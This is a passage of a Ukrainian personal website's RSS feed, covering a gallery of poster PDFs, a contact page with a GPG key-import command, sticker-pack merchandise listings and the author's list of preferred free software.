				&lt;code&gt;/plakaty/ipp.pdf&lt;/code&gt;
		&lt;/figcaption&gt;
	&lt;/figure&gt;
	&lt;/a&gt;
	&lt;/div&gt;
	
	
	
	
	
	&lt;div class=picdiv&gt;
	&lt;a href=https://miliukhin.xyz/plakaty/ozk.pdf&gt;
	&lt;figure&gt;
		&lt;img src=&#34;https://miliukhin.xyz/plakaty/ozk.pdf.jpg&#34; &gt;&lt;/img&gt;
		&lt;figcaption&gt;
				&lt;code&gt;/plakaty/ozk.pdf&lt;/code&gt;
		&lt;/figcaption&gt;
	&lt;/figure&gt;
	&lt;/a&gt;
	&lt;/div&gt;
	
	
	
	
	
	&lt;div class=picdiv&gt;
	&lt;a href=https://miliukhin.xyz/plakaty/pb_st_orug.pdf&gt;
	&lt;figure&gt;
		&lt;img src=&#34;https://miliukhin.xyz/plakaty/pb_st_orug.pdf.jpg&#34; &gt;&lt;/img&gt;
		&lt;figcaption&gt;
				&lt;code&gt;/plakaty/pb_st_orug.pdf&lt;/code&gt;
		&lt;/figcaption&gt;
	&lt;/figure&gt;
	&lt;/a&gt;
	&lt;/div&gt;
	
	
	
	
	
	&lt;div class=picdiv&gt;
	&lt;a href=https://miliukhin.xyz/plakaty/pkm_pkt.pdf&gt;
	&lt;figure&gt;
		&lt;img src=&#34;https://miliukhin.xyz/plakaty/pkm_pkt.pdf.jpg&#34; &gt;&lt;/img&gt;
		&lt;figcaption&gt;
				&lt;code&gt;/plakaty/pkm_pkt.pdf&lt;/code&gt;
		&lt;/figcaption&gt;
	&lt;/figure&gt;
	&lt;/a&gt;
	&lt;/div&gt;
	
	
	
	
	
	
	
	&lt;div class=picdiv&gt;
	&lt;a href=https://miliukhin.xyz/plakaty/pm.pdf&gt;
	&lt;figure&gt;
		&lt;img src=&#34;https://miliukhin.xyz/plakaty/pm.pdf.jpg&#34; &gt;&lt;/img&gt;
		&lt;figcaption&gt;
				&lt;code&gt;/plakaty/pm.pdf&lt;/code&gt;
		&lt;/figcaption&gt;
	&lt;/figure&gt;
	&lt;/a&gt;
	&lt;/div&gt;
	
	
	
	
	
	&lt;div class=picdiv&gt;
	&lt;a href=https://miliukhin.xyz/plakaty/podgot_protivogas.pdf&gt;
	&lt;figure&gt;
		&lt;img src=&#34;https://miliukhin.xyz/plakaty/podgot_protivogas.pdf.jpg&#34; &gt;&lt;/img&gt;
		&lt;figcaption&gt;
				&lt;code&gt;/plakaty/podgot_protivogas.pdf&lt;/code&gt;
		&lt;/figcaption&gt;
	&lt;/figure&gt;
	&lt;/a&gt;
	&lt;/div&gt;
	
	
	
	
	
	&lt;div class=picdiv&gt;
	&lt;a href=https://miliukhin.xyz/plakaty/porjadok_primenen_aerozol.pdf&gt;
	&lt;figure&gt;
		&lt;img src=&#34;https://miliukhin.xyz/plakaty/porjadok_primenen_aerozol.pdf.jpg&#34; &gt;&lt;/img&gt;
		&lt;figcaption&gt;
				&lt;code&gt;/plakaty/porjadok_primenen_aerozol.pdf&lt;/code&gt;
		&lt;/figcaption&gt;
	&lt;/figure&gt;
	&lt;/a&gt;
	&lt;/div&gt;
	
	
	
	
	
	&lt;div class=picdiv&gt;
	&lt;a href=https://miliukhin.xyz/plakaty/rpg7.pdf&gt;
	&lt;figure&gt;
		&lt;img src=&#34;https://miliukhin.xyz/plakaty/rpg7.pdf.jpg&#34; &gt;&lt;/img&gt;
		&lt;figcaption&gt;
				&lt;code&gt;/plakaty/rpg7.pdf&lt;/code&gt;
		&lt;/figcaption&gt;
	&lt;/figure&gt;
	&lt;/a&gt;
	&lt;/div&gt;
	
	
	
	
	
	&lt;div class=picdiv&gt;
	&lt;a href=https://miliukhin.xyz/plakaty/rpk74m.pdf&gt;
	&lt;figure&gt;
		&lt;img src=&#34;https://miliukhin.xyz/plakaty/rpk74m.pdf.jpg&#34; &gt;&lt;/img&gt;
		&lt;figcaption&gt;
				&lt;code&gt;/plakaty/rpk74m.pdf&lt;/code&gt;
		&lt;/figcaption&gt;
	&lt;/figure&gt;
	&lt;/a&gt;
	&lt;/div&gt;
	
	
	
	
	
	&lt;div class=picdiv&gt;
	&lt;a href=https://miliukhin.xyz/plakaty/rpo.pdf&gt;
	&lt;figure&gt;
		&lt;img src=&#34;https://miliukhin.xyz/plakaty/rpo.pdf.jpg&#34; &gt;&lt;/img&gt;
		&lt;figcaption&gt;
				&lt;code&gt;/plakaty/rpo.pdf&lt;/code&gt;
		&lt;/figcaption&gt;
	&lt;/figure&gt;
	&lt;/a&gt;
	&lt;/div&gt;
	
	
	
	
	
	&lt;div class=picdiv&gt;
	&lt;a href=https://miliukhin.xyz/plakaty/rpo_porjadok_podgotovki.pdf&gt;
	&lt;figure&gt;
		&lt;img src=&#34;https://miliukhin.xyz/plakaty/rpo_porjadok_podgotovki.pdf.jpg&#34; &gt;&lt;/img&gt;
		&lt;figcaption&gt;
				&lt;code&gt;/plakaty/rpo_porjadok_podgotovki.pdf&lt;/code&gt;
		&lt;/figcaption&gt;
	&lt;/figure&gt;
	&lt;/a&gt;
	&lt;/div&gt;
	
	
	
	
	
	&lt;div class=picdiv&gt;
	&lt;a href=https://miliukhin.xyz/plakaty/rpo_porjadok_veden_ogon.pdf&gt;
	&lt;figure&gt;
		&lt;img src=&#34;https://miliukhin.xyz/plakaty/rpo_porjadok_veden_ogon.pdf.jpg&#34; &gt;&lt;/img&gt;
		&lt;figcaption&gt;
				&lt;code&gt;/plakaty/rpo_porjadok_veden_ogon.pdf&lt;/code&gt;
		&lt;/figcaption&gt;
	&lt;/figure&gt;
	&lt;/a&gt;
	&lt;/div&gt;
	
	
	
	
	
	&lt;div class=picdiv&gt;
	&lt;a href=https://miliukhin.xyz/plakaty/rpo_sposob_strelb.pdf&gt;
	&lt;figure&gt;
		&lt;img src=&#34;https://miliukhin.xyz/plakaty/rpo_sposob_strelb.pdf.jpg&#34; &gt;&lt;/img&gt;
		&lt;figcaption&gt;
				&lt;code&gt;/plakaty/rpo_sposob_strelb.pdf&lt;/code&gt;
		&lt;/figcaption&gt;
	&lt;/figure&gt;
	&lt;/a&gt;
	&lt;/div&gt;
	
	
	
	
	
	&lt;div class=picdiv&gt;
	&lt;a href=https://miliukhin.xyz/plakaty/sposob_post_aerozol_zaves.pdf&gt;
	&lt;figure&gt;
		&lt;img src=&#34;https://miliukhin.xyz/plakaty/sposob_post_aerozol_zaves.pdf.jpg&#34; &gt;&lt;/img&gt;
		&lt;figcaption&gt;
				&lt;code&gt;/plakaty/sposob_post_aerozol_zaves.pdf&lt;/code&gt;
		&lt;/figcaption&gt;
	&lt;/figure&gt;
	&lt;/a&gt;
	&lt;/div&gt;
	
	
	
	
	
	&lt;div class=picdiv&gt;
	&lt;a href=https://miliukhin.xyz/plakaty/svd.pdf&gt;
	&lt;figure&gt;
		&lt;img src=&#34;https://miliukhin.xyz/plakaty/svd.pdf.jpg&#34; &gt;&lt;/img&gt;
		&lt;figcaption&gt;
				&lt;code&gt;/plakaty/svd.pdf&lt;/code&gt;
		&lt;/figcaption&gt;
	&lt;/figure&gt;
	&lt;/a&gt;
	&lt;/div&gt;
	
	
	
	
	
	&lt;div class=picdiv&gt;
	&lt;a href=https://miliukhin.xyz/plakaty/vog25.pdf&gt;
	&lt;figure&gt;
		&lt;img src=&#34;https://miliukhin.xyz/plakaty/vog25.pdf.jpg&#34; &gt;&lt;/img&gt;
		&lt;figcaption&gt;
				&lt;code&gt;/plakaty/vog25.pdf&lt;/code&gt;
		&lt;/figcaption&gt;
	&lt;/figure&gt;
	&lt;/a&gt;
	&lt;/div&gt;
	
	
	
	
	
	&lt;div class=picdiv&gt;
	&lt;a href=https://miliukhin.xyz/plakaty/zashigat_orugie.pdf&gt;
	&lt;figure&gt;
		&lt;img src=&#34;https://miliukhin.xyz/plakaty/zashigat_orugie.pdf.jpg&#34; &gt;&lt;/img&gt;
		&lt;figcaption&gt;
				&lt;code&gt;/plakaty/zashigat_orugie.pdf&lt;/code&gt;
		&lt;/figcaption&gt;
	&lt;/figure&gt;
	&lt;/a&gt;
	&lt;/div&gt;
	
	
	
	
	
	&lt;div class=picdiv&gt;
	&lt;a href=https://miliukhin.xyz/plakaty/zashigat_orugie_verojat_protivnik.pdf&gt;
	&lt;figure&gt;
		&lt;img src=&#34;https://miliukhin.xyz/plakaty/zashigat_orugie_verojat_protivnik.pdf.jpg&#34; &gt;&lt;/img&gt;
		&lt;figcaption&gt;
				&lt;code&gt;/plakaty/zashigat_orugie_verojat_protivnik.pdf&lt;/code&gt;
		&lt;/figcaption&gt;
	&lt;/figure&gt;
	&lt;/a&gt;
	&lt;/div&gt;
	
	
	
	
	
	&lt;div class=picdiv&gt;
	&lt;a href=https://miliukhin.xyz/plakaty/zashit_kostum_l1.pdf&gt;
	&lt;figure&gt;
		&lt;img src=&#34;https://miliukhin.xyz/plakaty/zashit_kostum_l1.pdf.jpg&#34; &gt;&lt;/img&gt;
		&lt;figcaption&gt;
				&lt;code&gt;/plakaty/zashit_kostum_l1.pdf&lt;/code&gt;
		&lt;/figcaption&gt;
	&lt;/figure&gt;
	&lt;/a&gt;
	&lt;/div&gt;
	
	
	
	
	
	&lt;div class=picdiv&gt;
	&lt;a href=https://miliukhin.xyz/plakaty/zashita_zashigat_orugie.pdf&gt;
	&lt;figure&gt;
		&lt;img src=&#34;https://miliukhin.xyz/plakaty/zashita_zashigat_orugie.pdf.jpg&#34; &gt;&lt;/img&gt;
		&lt;figcaption&gt;
				&lt;code&gt;/plakaty/zashita_zashigat_orugie.pdf&lt;/code&gt;
		&lt;/figcaption&gt;
	&lt;/figure&gt;
	&lt;/a&gt;
	&lt;/div&gt;
	
	
&lt;/div&gt;

</description>
	</item>
	
	<item>
		<title>Кольори для терміналів</title>
		<link>https://miliukhin.xyz/gallery/xresources/</link>
		<pubDate>Mon, 01 Jan 0001 00:00:00 +0000</pubDate>
		
		<guid>https://miliukhin.xyz/gallery/xresources/</guid>
		<description>&lt;h2 id=&#34;lantern-&#34;&gt;&lt;a href=&#34;https://github.com/miliukhin/lantern&#34;&gt;Lantern&lt;/a&gt; 🏮&lt;/h2&gt;

&lt;figure
	 style=&#34;max-width: 300px;&#34;&gt;
		&lt;img src=&#34;https://github.com/miliukhin/lantern/raw/assets/colorview.png?raw=true&#34; width=&#34;300px&#34;&gt;&lt;figcaption&gt;Тепла, темна, /зручна/ колірна гама.&lt;/figcaption&gt;&lt;/figure&gt;

</description>
	</item>
	
	<item>
		<title>Контакт</title>
		<link>https://miliukhin.xyz/contact/</link>
		<pubDate>Mon, 01 Jan 0001 00:00:00 +0000</pubDate>
		
		<guid>https://miliukhin.xyz/contact/</guid>
		<description>&lt;p&gt;Ось моя імейл-адреса:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;oleksandr@miliukhin.xyz&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Щоб шифрувати електронну пошту, завантажте мій публічний ключ GPG &lt;a href=&#34;https://miliukhin.xyz/oleksandr.gpg&#34;&gt;тут&lt;/a&gt; чи просто запустіть:
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;curl -sL https://miliukhin.xyz/oleksandr.gpg | gpg --import&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Відбиток ключа:
&lt;code&gt;F180 A0DE A3CD 4309 ADA4  DE67 6264 3BC1 BF56 CFC3&lt;/code&gt;.	Звісно, в ідеалі я маю вам дати його особисто.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
</description>
	</item>
	
	<item>
		<title>Крам</title>
		<link>https://miliukhin.xyz/goods/</link>
		<pubDate>Mon, 01 Jan 0001 00:00:00 +0000</pubDate>
		
		<guid>https://miliukhin.xyz/goods/</guid>
		<description>&lt;p&gt;Полімерні стікерпаки формату А5.
Щоб замовити, &lt;a href=&#34;https://miliukhin.xyz/contact/&#34;&gt;звертайтесь&lt;/a&gt;.
Приймаю фіатні гроші та криптовалюти.&lt;/p&gt;
&lt;div class=audiowrapper&gt;

&lt;div	class=ware&gt;
	&lt;div class=flexus&gt; &lt;h3&gt;Librepack 2&lt;/h3&gt; &lt;h3 class=price&gt;₴235&lt;/h3&gt;&lt;/div&gt;
&lt;figure
	class=&#34;center&#34; style=&#34;max-width: 90%;&#34;&gt;&lt;a href=&#34;https://miliukhin.xyz/img/merch/librepack-2.png&#34;&gt;&lt;img src=&#34;https://miliukhin.xyz/img/merch/librepack-2.png&#34; width=&#34;90%&#34;&gt;&lt;/a&gt;&lt;figcaption&gt;Свіжий Сіквел Лібрепака, який вміщає Террі Девіса, найкрутіший ноутбук усіх часів, Дебіан? Пінгвінів для заклейки логотипів віндовс та інші приколи.&lt;a href=&#34;https://miliukhin.xyz/contact&#34;&gt; Замовити&lt;/a&gt;
	&lt;/figcaption&gt;&lt;/figure&gt;
&lt;/div&gt;


&lt;div	class=ware&gt;
	&lt;div class=flexus&gt; &lt;h3&gt;Librepack 1&lt;/h3&gt; &lt;h3 class=price&gt;РОЗПРОДАНО&lt;/h3&gt;&lt;/div&gt;
&lt;figure
	class=&#34;center&#34; style=&#34;max-width: 90%;&#34;&gt;&lt;a href=&#34;https://miliukhin.xyz/img/merch/librepack.png&#34;&gt;&lt;img src=&#34;https://miliukhin.xyz/img/merch/librepack.png&#34; width=&#34;90%&#34;&gt;&lt;/a&gt;&lt;figcaption&gt;Оригінальний пак цифрової свободи з Арч Фембоєм, Унабомбером, Лінуксом Торвальдсом, Вімом Дізелем та РМС.&lt;a href=&#34;https://miliukhin.xyz/contact&#34;&gt; Замовити&lt;/a&gt;
	&lt;/figcaption&gt;&lt;/figure&gt;
&lt;/div&gt;

&lt;/div&gt;
&lt;p&gt;Далі буде&amp;hellip;&lt;/p&gt;
</description>
	</item>
	
	<item>
		<title>Мерч</title>
		<link>https://miliukhin.xyz/merch/</link>
		<pubDate>Mon, 01 Jan 0001 00:00:00 +0000</pubDate>
		
		<guid>https://miliukhin.xyz/merch/</guid>
		<description>&lt;p&gt;Полімерні стікерпаки формату А5.
Щоб замовити, &lt;a href=&#34;https://miliukhin.xyz/contact/&#34;&gt;звертайтесь&lt;/a&gt;.
Приймаю фіатні гроші та криптовалюти.&lt;/p&gt;
&lt;div class=audiowrapper&gt;

&lt;div	class=ware&gt;
	&lt;div class=flexus&gt; &lt;h3&gt;Librepack 2&lt;/h3&gt; &lt;h3 class=price&gt;₴235&lt;/h3&gt;&lt;/div&gt;
&lt;figure
	class=&#34;center&#34; style=&#34;max-width: 90%;&#34;&gt;&lt;a href=&#34;https://miliukhin.xyz/img/merch/librepack-2.png&#34;&gt;&lt;img src=&#34;https://miliukhin.xyz/img/merch/librepack-2.png&#34; width=&#34;90%&#34;&gt;&lt;/a&gt;&lt;figcaption&gt;Свіжий Сіквел Лібрепака, який вміщає Террі Девіса, найкрутіший ноутбук усіх часів, Дебіан? Пінгвінів для заклейки логотипів віндовс та інші приколи.&lt;a href=&#34;https://miliukhin.xyz/contact&#34;&gt; Замовити&lt;/a&gt;
	&lt;/figcaption&gt;&lt;/figure&gt;
&lt;/div&gt;


&lt;div	class=ware&gt;
	&lt;div class=flexus&gt; &lt;h3&gt;Librepack 1&lt;/h3&gt; &lt;h3 class=price&gt;₴191&lt;/h3&gt;&lt;/div&gt;
&lt;figure
	class=&#34;center&#34; style=&#34;max-width: 90%;&#34;&gt;&lt;a href=&#34;https://miliukhin.xyz/img/merch/librepack.png&#34;&gt;&lt;img src=&#34;https://miliukhin.xyz/img/merch/librepack.png&#34; width=&#34;90%&#34;&gt;&lt;/a&gt;&lt;figcaption&gt;Оригінальний пак цифрової свободи з Арч Фембоєм, Унабомбером, Лінуксом Торвальдсом, Вімом Дізелем та РМС.&lt;a href=&#34;https://miliukhin.xyz/contact&#34;&gt; Замовити&lt;/a&gt;
	&lt;/figcaption&gt;&lt;/figure&gt;
&lt;/div&gt;

&lt;/div&gt;
&lt;p&gt;Далі буде&amp;hellip;&lt;/p&gt;
</description>
	</item>
	
	<item>
		<title>Мої програми та обладнання</title>
		<link>https://miliukhin.xyz/progs/</link>
		<pubDate>Mon, 01 Jan 0001 00:00:00 +0000</pubDate>
		
		<guid>https://miliukhin.xyz/progs/</guid>
		<description>&lt;p&gt;Я бажаю робити все максимально швидко та зручно й не залежати від сутностей, які я не контролюю.&lt;/p&gt;
&lt;p&gt;Тому за комп&amp;rsquo;ютером я часто користуюсь інтерфейсом командного рядка &amp;mdash; так зазвичай просто швидше та легше (причому і комп&amp;rsquo;ютеру, й мені).
Але не завжди: малювати в терміналі я точно не буду.
Також я люблю бінди Vim.&lt;/p&gt;
&lt;p&gt;Оскільки автономність важлива для мене, то я не користуюсь ніякими SaaS (Програма-як-недоСервіс) та іншими пропрієтарними програмами, і зазвичай свою роботу роблю локально.
Обладнання теж вибираю чимпростіше та чимнадійніше.&lt;/p&gt;
&lt;h2 id=&#34;програми&#34;&gt;Програми&lt;/h2&gt;
&lt;h3 id=&#34;основне&#34;&gt;Основне&lt;/h3&gt;
&lt;dl&gt;
&lt;dt&gt;Операційна система&lt;/dt&gt;
&lt;dd&gt;Я користуюсь Artix Linux &amp;mdash; Arch Linux без товстої та вразливої &lt;code&gt;systemd&lt;/code&gt;.
Для швидкої установки та налаштування системи я маю скрипт на основі &lt;a href=&#34;https://larbs.xyz&#34;&gt;LARBS&lt;/a&gt;.&lt;/dd&gt;
&lt;dt&gt;Стільниця/Менеджер Вікон&lt;/dt&gt;
&lt;dd&gt;dwm. Рядок стану dwmblocks. Щоб швидко та зручно запускати програми я користуюсь dmenu.&lt;/dd&gt;
&lt;dt&gt;Редагування текстів&lt;/dt&gt;
&lt;dd&gt;&lt;a href=&#34;https://neovim.io/&#34;&gt;NeoVim&lt;/a&gt; 💪. Значно більше, ніж редактор текстів.
Плагіни, якими я користуюсь, можете оглянути в &lt;a href=&#34;https://github.com/miliukhin/dots/blob/master/.config/nvim/init.vim&#34;&gt;репозиторії моїх конфігів&lt;/a&gt;.&lt;/dd&gt;
&lt;dt&gt;Браузер&lt;/dt&gt;
&lt;dd&gt;LibreWolf. Також я часом запускаю qutebrowser та Tor browser.
Раджу встановити такі розширення:
&lt;ul&gt;
&lt;li&gt;uMatrix&lt;/li&gt;
&lt;li&gt;ublock origin&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://github.com/OhMyGuus/I-Still-Dont-Care-About-Cookies&#34;&gt;I still don&amp;rsquo;t care about cookies&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://addons.mozilla.org/en-US/firefox/addon/decentraleyes/&#34;&gt;Decentraleyes&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;linguist&lt;/li&gt;
&lt;li&gt;libredirect&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://addons.mozilla.org/en-US/firefox/addon/vim-vixen/&#34;&gt;VimVixen&lt;/a&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;/dd&gt;
&lt;dd&gt;Я маю окрему сторінку, присвячену &lt;a href=&#34;https://miliukhin.xyz/articles/efficient_browsing/&#34;&gt;узручненню пошуку в інтернеті&lt;/a&gt;.&lt;/dd&gt;
&lt;/dl&gt;
&lt;h3 id=&#34;утиліти&#34;&gt;Утиліти&lt;/h3&gt;
&lt;dl&gt;
&lt;dt&gt;Менеджер файлів&lt;/dt&gt;
&lt;dd&gt;&lt;a href=&#34;https://github.com/gokcehan/lf&#34;&gt;lf&lt;/a&gt;. Дуже зручний.&lt;/dd&gt;
&lt;dt&gt;Плеєр музики&lt;/dt&gt;
&lt;dd&gt;mpd з ncmpcpp для бібліотеки, mpv &amp;mdash; для ручного відтворення, коли я вибираю пісню в lf. Шинкую альбоми з плейлистами на окремі пісні за допомогою &lt;a href=&#34;flacon&#34;&gt;flacon&lt;/a&gt;, для тегування користуюсь mid3v2.&lt;/dd&gt;
&lt;dt&gt;Клієнт електронної пошти&lt;/dt&gt;
&lt;dd&gt;neomutt. Має дуже широкий функціонал, і його легко налаштувати з mutt-wizard.&lt;/dd&gt;
&lt;dt&gt;Плеєр відео&lt;/dt&gt;
&lt;dd&gt;mpv. До речі, завантаживши кілька плагінів для нього, можете зробити з цього плеєра непоганий редактор!&lt;/dd&gt;
&lt;dt&gt;Інтернет-Медіа&lt;/dt&gt;
&lt;dd&gt;Я переглядаю відео з YouTube та інших відеохостингів в mpv (він це вміє завдяки yt-dlp). Для пошуку по YouTube користуюсь ytfzf.
Мій торент-клієнт &amp;mdash; Transmission + transmission-remote.
Окрім торентування, я деколи завантажую файли з amule і nicotine.&lt;/dd&gt;
&lt;dt&gt;Читалка RSS&lt;/dt&gt;
&lt;dd&gt;&lt;a href=&#34;https://miliukhin.xyz/articles/based_rss/&#34;&gt;newsboat&lt;/a&gt;. Замість підписок на акаунти в YouTube чи інших соцмережах я просто додаю стрічки RSS цих акаунтів та цікавих мені сайтів до newsboat. Відео, до речі, відкриваються в mpv, тому мені навіть браузера не треба, щоб слідкувати за &lt;del&gt;брейнротом&lt;/del&gt; інтелектуальним зростанням інтернету.&lt;/dd&gt;
&lt;dt&gt;Месенджерування&lt;/dt&gt;
&lt;dd&gt;&lt;strong&gt;Я не веду особистого листування в Telegram, бо він &lt;a href=&#34;https://miliukhin.xyz/articles/telegram/&#34;&gt;пропіканий&lt;/a&gt; (&lt;a href=&#34;https://youtu.be/_VTbVZy6Tp8&#34;&gt;відео&lt;/a&gt;), як і всі пропрієтарні месенджери&lt;/strong&gt;. Зазвичай я пишу людям у &lt;a href=&#34;https://miliukhin.xyz/articles/matrix_and_xmpp/&#34;&gt;Matrix та XMPP&lt;/a&gt; (&lt;a href=&#34;https://youtu.be/IX-Wu_es04M&#34;&gt;відео&lt;/a&gt;). Я надаю перевагу XMPP проти Matrix. XMPP простіший, швидший, безпечніший та надійніший.
Серед клієнтів XMPP мої улюблені profanity, Gajim та Conversations. Matrix &amp;mdash;
iamb, gomuks, SchildiChat. Раджу ще &lt;a href=&#34;https://briarproject.org/&#34;&gt;Briar&lt;/a&gt; &amp;mdash; безсерверний месенджер, який працює через Tor.&lt;/dd&gt;
&lt;dt&gt;Відеоконференції&lt;/dt&gt;
&lt;dd&gt;Немає нічого безглуздішого за відеоконференції, але якщо вже їх організовувати, то в Jami та Jitsi замість Zoom, Teams, Meet та іншої пропрієтарщини.&lt;/dd&gt;
&lt;/dl&gt;
&lt;h3 id=&#34;продакшн&#34;&gt;Продакшн&lt;/h3&gt;
&lt;dl&gt;
&lt;dt&gt;Редактори графіки&lt;/dt&gt;
&lt;dd&gt;Для автоматизації простих повторюваних дій я послуговуюсь ImageMagick.
Щоб швидко щось обрізати &amp;mdash; &lt;a href=&#34;https://github.com/Sinono3/canved&#34;&gt;canved&lt;/a&gt;.
Малюю в &lt;a href=&#34;https://al.chemy.org/&#34;&gt;Alchemy&lt;/a&gt; та Krita.
Векторну графіку роблю в Inkscape.&lt;/dd&gt;
&lt;dt&gt;Електронні документи&lt;/dt&gt;
&lt;dd&gt;Я пишу документи мовою Markdown та перетворюю на PDF за допомогою Pandoc та Groff (через lowdown). Прості документи дуже раджу обробляти саме lowdown-ом, бо документи Groff компілюються просто миттєво.
Щодо Pandoc, я маю шаблони LaTeX і Markdown для різних доків, і деякі з них я використовую в своєму &lt;a href=&#34;https://github.com/miliukhin/lpnu_doc_templates/&#34;&gt;автогенераторі звітів для університету&lt;/a&gt;.&lt;/dd&gt;
&lt;dd&gt;Я не користуюсь WYSIWG-редакторами, але в мене все ж установлений LibreOffice для одної-єдиної цілі: перетворювати надіслані мені документи Word на PDF. А, ще ним можна редагувати PDF-ки. На цьому все.&lt;/dd&gt;
&lt;dd&gt;Ось кілька класних утиліт для роботи з документами:
&lt;ul&gt;
&lt;li&gt;diffpdf, pdfgrep&lt;/li&gt;
&lt;li&gt;pdfcrop&lt;/li&gt;
&lt;/ul&gt;
&lt;/dd&gt;
&lt;dt&gt;Презентації&lt;/dt&gt;
&lt;dd&gt;Моя улюблена &amp;mdash; &lt;a href=&#34;https://youtu.be/GNqac8ceYLk&#34;&gt;suckless sent&lt;/a&gt;. Вона створює чудові презентації з простих текстових файлів. Для академічних презентацій деколи я вжиткую LaTeX.&lt;/dd&gt;
&lt;dt&gt;Електронні таблиці&lt;/dt&gt;
&lt;dd&gt;&lt;a href=&#34;sc-im&#34;&gt;sc-im&lt;/a&gt; для візуального інтерфейсу, але частіше я працюю з електронними таблицями в &lt;a href=&#34;https://youtu.be/PXs7PHR9ktg&#34;&gt;R&lt;/a&gt;.&lt;/dd&gt;
&lt;dt&gt;Переглядач документів&lt;/dt&gt;
&lt;dd&gt;zathura&lt;/dd&gt;
&lt;dt&gt;Відео&lt;/dt&gt;
&lt;dd&gt;Я записую відео та аудіо ffmpeg-ом, і редагую теж найчастіше ним. Я не роблю традиційного відеомонтажу з вирізанням кожної обмовки й купою непотрібних ефектів, тому ffmpeg якраз пасує.&lt;/dd&gt;
&lt;dt&gt;Переклад&lt;/dt&gt;
&lt;dd&gt;Я користуюсь StarDict та sdcv для офлайн словників та translate-shell для автоперекладу. Ще я написав програму &lt;a href=&#34;https://github.com/miliukhin/uwd&#34;&gt;Ukrainian Web Dictionaries&lt;/a&gt; для відображення українських інтернет-словників у терміналі. Кожна з цих програм обговорена в &lt;a href=&#34;https://youtu.be/BYUdqhZsJFg&#34;&gt;цьому відео&lt;/a&gt;.&lt;/dd&gt;
&lt;dt&gt;Творіння Сайтів&lt;/dt&gt;
&lt;dd&gt;Hugo генератор статичних сайтів. Цей та інші мої сайти генерую саме ним.&lt;/dd&gt;
&lt;/dl&gt;
&lt;h3 id=&#34;музика&#34;&gt;Музика&lt;/h3&gt;
&lt;dl&gt;
&lt;dt&gt;DAW&lt;/dt&gt;
&lt;dd&gt;Я користуюсь &lt;a href=&#34;https://muse-sequencer.github.io/&#34;&gt;MusE&lt;/a&gt; та &lt;a href=&#34;https://ardour.org/&#34;&gt;Ardour&lt;/a&gt;. Раджу почитати як побороти &lt;a href=&#34;https://miliukhin.xyz/articles/latency/&#34;&gt;затримку&lt;/a&gt; та &lt;a href=&#34;https://miliukhin.xyz/articles/audio_connections/&#34;&gt;керувати аудіоз&amp;rsquo;єднаннями&lt;/a&gt;.&lt;/dd&gt;
&lt;dt&gt;Гітара&lt;/dt&gt;
&lt;dd&gt;Я зазвичай записую вже повністю оброблену гітарну доріжку (інколи ще чистий канал для можливого реампінгу) і не накладаю на гітару нічого, крім еквалайзера і часом інших пост-ефектів. Це &lt;a href=&#34;https://miliukhin.xyz/articles/guitar-plugins-are-for-nerds/&#34;&gt;простіше та легше для процесора&lt;/a&gt;.
Якщо ви все ж хочете мучитися з вічним пошуком тону в комп&amp;rsquo;ютері, то можу вам порадити &lt;a href=&#34;https://guitarix.org&#34;&gt;Guitarix&lt;/a&gt;, &lt;a href=&#34;https://github.com/sadko4u/tamgamp.lv2&#34;&gt;tamgamp&lt;/a&gt;, &lt;a href=&#34;https://www.resonantdsp.com/swankyamp/&#34;&gt;Swanky Amp&lt;/a&gt;, &lt;a href=&#34;https://github.com/brummer10/FatFrog.lv2&#34;&gt;Fat Frog&lt;/a&gt;, &lt;a href=&#34;https://github.com/brummer10/XTinyTerror.lv2&#34;&gt;XTinyTerror&lt;/a&gt;, &lt;a href=&#34;https://github.com/brummer10/XDarkTerror.lv2&#34;&gt;XDarkTerror&lt;/a&gt;, &lt;a href=&#34;http://quitte.de/dsp/caps.html&#34;&gt;CAPS&lt;/a&gt;. Якщо у вас товстий комп&amp;rsquo;ютер, ви можете взагалі впасти прямо в кролячу нору ШІ-моделей реальних підсилювачів, скачавши Neural Amp Modeler (тони до нього &lt;a href=&#34;https://tone3000.com&#34;&gt;тут&lt;/a&gt; і &lt;a href=&#34;https://github.com/pelennor2170/NAM_models&#34;&gt;тут&lt;/a&gt;) чи &lt;a href=&#34;https://guitarml.com/&#34;&gt;GuitarML&lt;/a&gt; (мені особисто більше подобається реалізація Neural Amp Modeler, але я ним не користуюсь ніколи, він сам один цілий процесор їсть тільки так). Як хост плагінів можна використовувати Guitarix.&lt;/dd&gt;
&lt;dt&gt;Імпульси кабінетів&lt;/dt&gt;
&lt;dd&gt;Я користуюсь &lt;a href=&#34;https://github.com/x42/convoLV2&#34;&gt;convolv2&lt;/a&gt;, а ще модулем Convolver у Guitarix.
Щодо файлів, то по-перше, багато класних файлів є в пакунку Guitarix (/usr/share/gx_head/sounds).
Також на &lt;a href=&#34;https://www.tone3000.com/&#34;&gt;tone3000&lt;/a&gt;.&lt;/dd&gt;
&lt;dt&gt;Синтезатори, Семплери, інші плагіни&lt;/dt&gt;
&lt;dd&gt;&lt;a href=&#34;https://surge-synthesizer.github.io/&#34;&gt;Surge XT&lt;/a&gt;, &lt;a href=&#34;https://sfztools.github.io/sfizz/&#34;&gt;Sfizz&lt;/a&gt;, Odin2, Calf Suite, DrumGizmo.&lt;/dd&gt;
&lt;/dl&gt;
&lt;h3 id=&#34;криптовалюти&#34;&gt;Криптовалюти&lt;/h3&gt;
&lt;dl&gt;
&lt;dt&gt;Bitcoin&lt;/dt&gt;
&lt;dd&gt;Electrum.&lt;/dd&gt;
&lt;dt&gt;Monero&lt;/dt&gt;
&lt;dd&gt;monero-cli.&lt;/dd&gt;
&lt;dt&gt;Торгівля&lt;/dt&gt;
&lt;dd&gt;Bisq &amp;mdash; децентралізована біржа, яка працює через Tor.&lt;/dd&gt;
&lt;/dl&gt;
&lt;h3 id=&#34;де-шукати-класні-програми&#34;&gt;Де шукати класні програми?&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;https://suckless.org/rocks/&#34;&gt;Підбірка крутих мінімалістичних програм від suckless&lt;/a&gt;&lt;/li&gt;
